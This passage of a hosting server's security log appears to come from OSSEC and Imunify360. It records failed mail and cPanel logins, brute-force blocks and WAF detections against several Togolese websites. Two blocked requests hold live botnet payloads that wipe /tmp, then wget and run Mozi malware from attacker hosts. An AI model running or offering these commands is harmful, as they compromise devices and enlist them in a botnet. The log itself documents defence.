Jun 27 22:01:52 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.198.128.204 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-27 22:00:57 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:43002: 535 Incorrect authentication data (set_id=erivera@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-27 22:01:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:56674: 535 Incorrect authentication data (set_id=enquiries@ns5.netmaster.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.135.221.206
country_id: 2328926
description:
[2026-06-27 22:01:24 +0000] info [cpaneld] 102.135.221.206 - kavznjyb "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kavznjyb (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-27 22:00:57 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:27620: 535 Incorrect authentication data (set_id=orlando@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 27 22:01:14 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 27 22:00:56 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-27 22:00:58 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:59222: 535 Incorrect authentication data (set_id=hu@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 27 22:02:21 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 27 22:01:58 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.221.133.246
country_id: 1269750
description:
Jun 27 22:02:07 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.221.133.246 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-27 22:02:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:11316: 535 Incorrect authentication data (set_id=mtge@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 27 22:02:29 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-27 22:02:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:59720: 535 Incorrect authentication data (set_id=digital@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.181.97.250
country_id: 3865483
description:
Jun 27 22:02:48 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.181.97.250 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-27 22:01:58 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:32736: 535 Incorrect authentication data (set_id=proxy1@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 27 22:01:56 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-27 22:02:00 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:64490: 535 Incorrect authentication data (set_id=south@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 27 22:02:59 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 27 22:03:03 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-27 22:03:05 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:15496: 535 Incorrect authentication data (set_id=9503359@ns5.netmaster.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 36.77.232.64
country_id: 1643084
description:
[2026-06-27 22:03:08 +0000] info [cpaneld] 36.77.232.64 - admin "POST /login HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 27 22:02:58 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-27 22:03:00 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:4774: 535 Incorrect authentication data (set_id=beans@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-27 22:03:01 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:28880: 535 Incorrect authentication data (set_id=elenas@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-27 22:03:02 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:52010: 535 Incorrect authentication data (set_id=beans@ns5.netmaster.tg)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 43.135.145.77
country_id: 6252001
domain: ca-togo.org
description:
IM360 WAF: Bad file extension||RSV:8.21||T:APACHE||MVN:REQUEST_FILENAME||MV:/www.sunu-group.com||User:egjvuiox||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 27 22:03:15 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.181.97.250
country_id: 3865483
description:
Jun 27 22:02:56 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.181.97.250 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-27 22:03:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:35832: 535 Incorrect authentication data (set_id=fwall@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 27 22:03:54 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.56.112.112
country_id: 6252001
description:
[2026-06-27 22:04:36 +0000] info [whostmgrd] 68.56.112.112 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 27 22:04:05 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-27 22:04:07 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:61680: 535 Incorrect authentication data (set_id=duch@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-27 22:04:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:25492: 535 Incorrect authentication data (set_id=editor@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-27 22:03:56 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:27948: 535 Incorrect authentication data (set_id=hata@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 27 22:04:02 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 188.130.143.243
country_id: 2017370
domain: www.snb.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:188.130.143.243||TA:188.130.143.243||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-27 22:04:04 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:11988: 535 Incorrect authentication data (set_id=tuna@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 27 22:04:15 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-27 22:04:55 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:37942: 535 Incorrect authentication data (set_id=borja@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 27 22:05:10 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 27 22:05:16 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-27 22:05:00 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:9350: 535 Incorrect authentication data (set_id=ctm@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 27 22:04:58 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-27 22:05:00 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:1642: 535 Incorrect authentication data (set_id=bc@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 27 22:04:58 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-27 22:05:18 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:8378: 535 Incorrect authentication data (set_id=csk@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-27 22:05:58 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:10402: 535 Incorrect authentication data (set_id=dionis@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-27 22:06:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:4882: 535 Incorrect authentication data (set_id=religion@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-27 22:06:03 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:20862: 535 Incorrect authentication data (set_id=ejournal@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-27 22:06:05 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:20866: 535 Incorrect authentication data (set_id=cigdem@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 27 22:05:56 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 27 22:06:01 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-27 22:06:09 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:48994: 535 Incorrect authentication data (set_id=ejournal@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 27 22:06:26 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 157.66.252.204
country_id: 1562822
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:22-06.157.66.252.204||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 27 22:06:03 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.155.218
country_id: 2750405
description:
2026-06-27 22:11:13 dovecot_plain authenticator failed for H=(YTA94269302) [104.28.155.218]:52614: 535 Incorrect authentication data (set_id=587)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.215.88.36
country_id: 1643084
description:
Jun 27 22:14:06 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.215.88.36 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 83.170.196.230
country_id: 690791
description:
83.170.196.230 - - [27/Jun/2026:22:17:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9791338&pdata=https%253A%252F%252Fcfpj.tg%252Fnwyj-91120eitems%252Fetidm13qn.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782598673 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/nwyj-91120eitems/etidm13qn.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:83.170.196.230


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.166.248.160
country_id: 1880251
description:
[2026-06-27 22:19:14 +0000] info [cpaneld] 188.166.248.160 - rsgwljmi "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user rsgwljmi (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 44.193.212.70
country_id: 6252001
description:
[2026-06-27 22:21:44 +0000] info [cpaneld] 44.193.212.70 - crepsad "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.1.141.128
country_id: 3686110
domain: cfpj.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cfpj.tghttp/cfpj.tg/site HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.1.141.128
country_id: 3686110
domain: cfpj.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cfpj.tg/site HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 43.135.186.135
country_id: 6252001
domain: matosshop.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=1215||QS:add-to-cart=1215||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 195.86.149.169
country_id: 1880251
domain: togomedia24.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togomedia24.tg/wp-content/uploads/2019/08/289459dd-eec5-436e-bdde-f98790969a49-300x158.jpg HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 103.197.169.32
country_id: 1819730
domain: www.snb.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:103.197.169.32||TA:103.197.169.32||


plugin: modsec
rule: 77142262
name: IM360 WAF: IOT unauthenticated file upload and RCE
abuser: 119.30.119.18
country_id: 1168579
domain: 154.70.82.244:80
description:
IM360 WAF: IOT unauthenticated file upload and RCE||RSV:8.21||T:APACHE||MVN:REQUEST_URI||MV:/shell?cd /tmp;rm -rf *;wget http://119.30.119.18:49121/mozi.a;chmod 777 mozi.a;/tmp/mozi.a jaws||


plugin: modsec
rule: 77142265
name: IM360 WAF: IOT unauthenticated file upload and RCE
abuser: 119.30.119.18
country_id: 1168579
domain: 154.70.82.244:80
description:
IM360 WAF: IOT unauthenticated file upload and RCE||RSV:8.21||T:APACHE||MVN:MATCHED_VAR||MV:/shell?cd+/tmp;rm+-rf+*;wget+http:/119.30.119.18:49121/mozi.a;chmod+777+mozi.a;/tmp/mozi.a+jaws||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.14
country_id: 1880251
description:
47.128.121.14 - - [27/Jun/2026:22:36:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6591643&pdata=https%253A%252F%252Ftogomedia24.tg%252Ftag%252Ffrancaise%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782599764 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/tag/francaise/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.14


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 154.57.214.25
country_id: 1168579
domain: ca-togo.org
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:91667.ca-togo.org||ServerName:ca-togo.org||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9a9b026529f5ceb898cd911f56692a36f66c1e21||Title:0x91452b48||RSV:8.21||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 194.190.169.197
country_id: 2017370
description:
2026-06-27 22:38:54 dovecot_plain authenticator failed for H=c4350.col.wm.ru (l3ghxzceobhfpkss98tdvop) [194.190.169.197]:36795: 535 Incorrect authentication data (set_id=admin@mesyscom.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.190.169.197
country_id: 2017370
description:
Jun 27 22:38:52 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.190.169.197 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.100.91.113
country_id: 1814991
description:
Jun 27 22:37:59 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.100.91.113 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.120.214.134
country_id: 6252001
description:
[2026-06-27 22:39:27 +0000] info [whostmgrd] 71.120.214.134 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 104.28.249.138
country_id: 2750405
domain: cafe.tg
description:
IM360 WAF: Bad file extension||RSV:8.21||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:cafetg||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.44
country_id: 6252001
description:
205.169.39.44 - - [27/Jun/2026:22:42:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9727895&pdata=http%253A%252F%252Fese2i.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782600161 HTTP/1.1" 302 0 ese2i.tg "http://ese2i.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.44


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 165.140.199.13
country_id: 1522867
domain: www.snb.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:165.140.199.13||TA:165.140.199.13||


plugin: modsec
rule: 77350307
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 45.3.47.108
country_id: 3017382
domain: direct7.tg
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:wadminw@wordpress.com||User:nrzector||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.88.78.75
country_id: 6252001
description:
Jun 27 22:52:05 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.88.78.75 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.88.78.75
country_id: 6252001
description:
2026-06-27 22:52:07 dovecot_plain authenticator failed for H=(j1grgcc67v0ndyl4pzi3k) [47.88.78.75]:51097: 535 Incorrect authentication data (set_id=emmanuel.megbenu@mesyscom.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 36.77.232.64
country_id: 1643084
description:
[2026-06-27 22:52:44 +0000] info [cpaneld] 36.77.232.64 - ingertgsarl "POST /login HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 36.77.232.64
country_id: 1643084
description:
[2026-06-27 22:53:26 +0000] info [cpaneld] 36.77.232.64 - camaegdtomgo "POST /login HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 43.128.105.139
country_id: 1880251
description:
43.128.105.139 - - [27/Jun/2026:22:56:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9738395&pdata=https%253A%252F%252Fruralinfos.tg%252Fproduction%252Finfos-filieres%252Fnana-nanfame-le-president-du-conseil-a-une-veille-particuliere-sur-la-filiere-cotonniere-togolaise%252F%253Fshare%253Dpinterest&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782600982 HTTP/2.0" 302 0 ruralinfos.tg "https://ruralinfos.tg/production/infos-filieres/nana-nanfame-le-president-du-conseil-a-une-veille-particuliere-sur-la-filiere-cotonniere-togolaise/?share=pinterest" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.5 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.128.105.139


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.252.121
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/proximite-entre-forces-de-securite-et-habitants-au-togo/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.215.88.36
country_id: 1643084
description:
Jun 27 22:59:33 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.215.88.36 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.252.121
country_id: 1562822
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/proximite-entre-forces-de-securite-et-habitants-au-togo/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.165.159.70
country_id: 2017370
description:
Jun 27 23:00:29 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.165.159.70 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.165.159.70
country_id: 2017370
description:
2026-06-27 23:00:31 dovecot_login authenticator failed for H=95-165-159-70.static.spd-mgts.ru ([59.8.114.245]) [95.165.159.70]:41024: 535 Incorrect authentication data (set_id=gkaiu6ctjr@belali.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 44.200.17.43
country_id: 6252001
description:
[2026-06-27 23:01:25 +0000] info [cpaneld] 44.200.17.43 - amedekabenoit@gmail.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.8.149.85
country_id: 3175395
description:
Jun 27 23:04:15 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.8.149.85 has been locked due to Imunify RBL


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 43.157.82.252
country_id: 2921044
domain: matosshop.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=2116||QS:add-to-cart=2116||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.208.23.33
country_id: 3625428
description:
[2026-06-27 23:06:26 +0000] info [cpaneld] 181.208.23.33 - cafe "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafe (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.25.183.157
country_id: 1605651
description:
Jun 27 23:07:07 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.25.183.157 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.185.255.227
country_id: 1814991
description:
Jun 27 23:10:22 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.185.255.227 has been locked due to Imunify RBL


plugin: modsec
rule: 77316728
name: IM360 WAF: Netgear unauthenticated RCE
abuser: 39.86.176.166
country_id: 1814991
description:
IM360 WAF: Netgear unauthenticated RCE||RSV:8.21||T:APACHE||MVN:ARGS:cmd||MV:rm -rf /tmp/*;wget http://39.86.176.166:55926/Mozi.m -O /tmp/netgear;sh netgear||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.168.224.193
country_id: 1210997
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/product/show/djama-lager HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
